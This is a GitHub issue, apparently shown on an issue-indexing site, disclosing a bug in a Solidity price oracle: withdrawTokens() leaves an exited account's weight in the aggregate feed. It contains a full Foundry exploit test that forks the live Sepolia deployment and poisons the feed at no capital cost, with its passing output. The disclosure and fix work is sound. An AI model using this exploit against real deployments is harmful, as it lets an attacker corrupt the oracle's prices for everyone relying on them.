`withdrawTokens` does not remove price weight — exited zero-balance accounts keep affecting the aggregate feed

Open
#17 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
3/5
Estimated time
1-2 days
Newbie friendliness
73/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
solidity

Research direction

Start with withdrawTokens() and the submitValue() updates in src/Oracle.sol:136-137, then inspect the existing tests and the supplied test/Attack004.t.sol reproduction. Run the reproduction with Foundry against a Sepolia fork using ETH_RPC_URL. Done means a fully withdrawn submitter no longer affects readValue(), while the control case and existing aggregation behavior still pass.

Written by the indexing model from the issue text.

Description

bug

withdrawTokens() updates unlockedTokens / totalDepositedTokens and the governance vote weights, but does not remove the account from the price aggregation — wof[x] and aggregatedWeight are written only in submitValue() (src/Oracle.sol:136-137).

So an account that has ever submitted a price keeps its weight in the aggregate after withdrawing every token.

Steps to reproduce

Foundry required. test/Attack004.t.sol is appended below.

export ETH_RPC_URL=https://sepolia.gateway.tenderly.co
forge test --match-path test/Attack004.t.sol -vv
  1. Fork Sepolia. Oracle 0xff2b1fca4aF0c9BCb576178e6989AA92819a0294, weight token 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14 (WETH).
  2. Give attacker 100000e18 and honest party 100e18 of the weight token.
  3. Both call depositTokens(...).
  4. Warp past DEPOSIT_LOCKING_PERIOD (60s on chain).
  5. Honest calls submitValue(100e18) -> readValue() = 100e18.
  6. Attacker calls submitValue(10000e18) -> readValue() = 9990.1e18.
  7. Warp past WITHDRAWAL_LOCKING_PERIOD (60s).
  8. Attacker calls withdrawTokens(100000e18) -> full token balance restored.
  9. readValue() is still 9990.1e18 — the attacker's weight is still in the aggregate.
  10. Honest party, now 100% of the live stake, calls submitValue(100e18) -> readValue() = 9980.07e18, still ~100x off.

Raw output:

Ran 2 tests for test/Attack004.t.sol:Attack_GhostWeight
[PASS] test_attack_ghostWeight_fullSequence() (gas: 2183208)
Logs:
  === on-chain params read from the fork ===
  weight token      : 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14
  DEPOSIT_LOCK      : 60
  WITHDRAWAL_LOCK   : 60
  HALF_LIFE_SECONDS : 60
  REWARD_BPS        : 100
  totalDeposited    : 105000000000000000
  pre-existing staked in oracle: 105000000000000000
  [1] both deposited. attacker token balance: 0
  [2] passed DEPOSIT_LOCKING_PERIOD
  [3] honest submits 100 -> feed 100000000000000000000
  [4] attacker submits 10000 -> feed 9990109890109890109890
  [5] attacker fully withdrew. balance 100000000000000000000000
      weight left in oracle 100105000000000000000
      totalDepositedTokens 100105000000000000000
  [6] after full exit, feed still 9990109890109890109890
  [7] honest (100pct live stake) submits 100 -> feed 9980073867581792748095
  === EXPLOIT CONFIRMED ===
  attacker capital loss: 0 (fully recovered)
  real cost: gas only
  residual after honest corrects: 9880073867581792748095

[PASS] test_control_neverSubmittedCannotPoison() (gas: 1437706)
Logs:
  === on-chain params read from the fork ===
  weight token      : 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14
  DEPOSIT_LOCK      : 60
  WITHDRAWAL_LOCK   : 60
  HALF_LIFE_SECONDS : 60
  REWARD_BPS        : 100
  totalDeposited    : 105000000000000000
  [control] big holder never submitted; honest 100 -> feed 100000000000000000000

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 16.27s (22.99s CPU time)

test/Attack004.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

// Attacker-perspective PoC against the LIVE Sepolia deployment (forked state).
//
// Question it answers: "can this actually be exploited?", not "is the mechanism real?".
// It runs the full attack sequence against real on-chain contracts and records the constraints.
//
// Usage:
//   export ETH_RPC_URL=https://ethereum-sepolia-rpc.publicnode.com
//   forge test --match-path test/Attack004.t.sol -vv

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IOracle {
    function WEIGHT_TOKEN() external view returns (address);
    function DEPOSIT_LOCKING_PERIOD() external view returns (uint256);
    function WITHDRAWAL_LOCKING_PERIOD() external view returns (uint256);
    function HALF_LIFE_SECONDS() external view returns (uint256);
    function REWARD_BPS() external view returns (uint256);
    function totalDepositedTokens() external view returns (uint256);
    function depositTokens(uint256 amount) external;
    function withdrawTokens(uint256 amount) external;
    function submitValue(uint256 newValue) external;
    function readValue() external view returns (uint256);
}

contract Attack_GhostWeight is Test {
    // Live deployment, see Deployments.md
    address constant ORACLE = 0xff2b1fca4aF0c9BCb576178e6989AA92819a0294;

    IOracle oracle;
    IERC20 weight;

    address attacker = makeAddr("attacker");
    address honest = makeAddr("honest");

    uint256 constant ATK_DEPOSIT = 100_000e18;
    uint256 constant HON_DEPOSIT = 100e18;
    uint256 constant HONEST_PRICE = 100e18;
    uint256 constant POISON_PRICE = 10_000e18;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"));
        oracle = IOracle(ORACLE);
        weight = IERC20(oracle.WEIGHT_TOKEN());

        console2.log("=== on-chain params read from the fork ===");
        console2.log("weight token      :", address(weight));
        console2.log("DEPOSIT_LOCK      :", oracle.DEPOSIT_LOCKING_PERIOD());
        console2.log("WITHDRAWAL_LOCK   :", oracle.WITHDRAWAL_LOCKING_PERIOD());
        console2.log("HALF_LIFE_SECONDS :", oracle.HALF_LIFE_SECONDS());
        console2.log("REWARD_BPS        :", oracle.REWARD_BPS());
        console2.log("totalDeposited    :", oracle.totalDepositedTokens());
    }

    function test_attack_ghostWeight_fullSequence() public {
        uint256 depositLock = oracle.DEPOSIT_LOCKING_PERIOD();
        uint256 withdrawLock = oracle.WITHDRAWAL_LOCKING_PERIOD();

        // 链上本来就有存量质押,先记下来,后面的断言要按"增量"算
        uint256 preExisting = weight.balanceOf(ORACLE);
        console2.log("pre-existing staked in oracle:", preExisting);

        deal(address(weight), attacker, ATK_DEPOSIT);
        deal(address(weight), honest, HON_DEPOSIT);

        vm.startPrank(honest);
        weight.approve(ORACLE, type(uint).max);
        oracle.depositTokens(HON_DEPOSIT);
        vm.stopPrank();

        vm.startPrank(attacker);
        weight.approve(ORACLE, type(uint).max);
        oracle.depositTokens(ATK_DEPOSIT);
        vm.stopPrank();

        console2.log("");
        console2.log("[1] both deposited. attacker token balance:", weight.balanceOf(attacker));

        vm.warp(block.timestamp + depositLock + 1);
        console2.log("[2] passed DEPOSIT_LOCKING_PERIOD");

        vm.prank(honest);
        oracle.submitValue(HONEST_PRICE);
        console2.log("[3] honest submits 100 -> feed", oracle.readValue());

        vm.prank(attacker);
        oracle.submitValue(POISON_PRICE);
        uint256 poisoned = oracle.readValue();
        console2.log("[4] attacker submits 10000 -> feed", poisoned);

        vm.warp(block.timestamp + withdrawLock + 1);
        vm.prank(attacker);
        oracle.withdrawTokens(ATK_DEPOSIT);

        uint256 atkBalanceAfter = weight.balanceOf(attacker);
        console2.log("[5] attacker fully withdrew. balance", atkBalanceAfter);
        console2.log("    weight left in oracle", weight.balanceOf(ORACLE));
        console2.log("    totalDepositedTokens", oracle.totalDepositedTokens());

        uint256 afterExit = oracle.readValue();
        console2.log("[6] after full exit, feed still", afterExit);

        vm.prank(honest);
        oracle.submitValue(HONEST_PRICE);
        uint256 afterHonest = oracle.readValue();
        console2.log("[7] honest (100pct live stake) submits 100 -> feed", afterHonest);

        // A) 攻击者资本净额:等于自己存进去的全部(资本零损失)
        assertEq(atkBalanceAfter, ATK_DEPOSIT, "attacker capital was NOT fully recovered");

        // B) 攻击者的代币已全部离场,合约里只剩"存量 + 诚实方"
        assertEq(
            weight.balanceOf(ORACLE),
            preExisting + HON_DEPOSIT,
            "attacker's tokens did not fully leave the oracle"
        );

        // C) 攻击者离场后污染仍在(残差 > 10 倍真实值)
        assertGt(afterExit, HONEST_PRICE * 10, "poisoning vanished after exit");

        // D) 诚实方持有 100% 在场权益、报出正确价,仍拉不回真实值
        assertGt(afterHonest, HONEST_PRICE * 10, "honest staker COULD correct the feed");

        // E) 关键:诚实方的正确报价几乎没有任何纠正效果(变化 < 1%)
        assertLt(afterExit - afterHonest, afterExit / 100, "honest submit corrected more than 1pct");

        console2.log("");
        console2.log("=== EXPLOIT CONFIRMED ===");
        console2.log("attacker capital loss: 0 (fully recovered)");
        console2.log("real cost: gas only");
        console2.log("residual after honest corrects:", afterHonest - HONEST_PRICE);
    }

    function test_control_neverSubmittedCannotPoison() public {
        uint256 depositLock = oracle.DEPOSIT_LOCKING_PERIOD();

        deal(address(weight), attacker, ATK_DEPOSIT);
        deal(address(weight), honest, HON_DEPOSIT);

        vm.prank(honest);
        weight.approve(ORACLE, type(uint).max);
        vm.prank(honest);
        oracle.depositTokens(HON_DEPOSIT);

        vm.prank(attacker);
        weight.approve(ORACLE, type(uint).max);
        vm.prank(attacker);
        oracle.depositTokens(ATK_DEPOSIT);

        vm.warp(block.timestamp + depositLock + 1);

        vm.prank(honest);
        oracle.submitValue(HONEST_PRICE);
        uint256 v = oracle.readValue();
        console2.log("[control] big holder never submitted; honest 100 -> feed", v);
        assertEq(v, HONEST_PRICE, "control failed: big holder moved the feed without submitting");
    }
}
Dominant language
Solidity
Stars
3
Forks
3
Avg merge
15h 55m
Merged PRs (30d)
6

Getting set up

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from StabilityNexus/OrbOracle-Solidity

All issues in StabilityNexus/OrbOracle-Solidity

Similar issues

More Backend & API Design issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.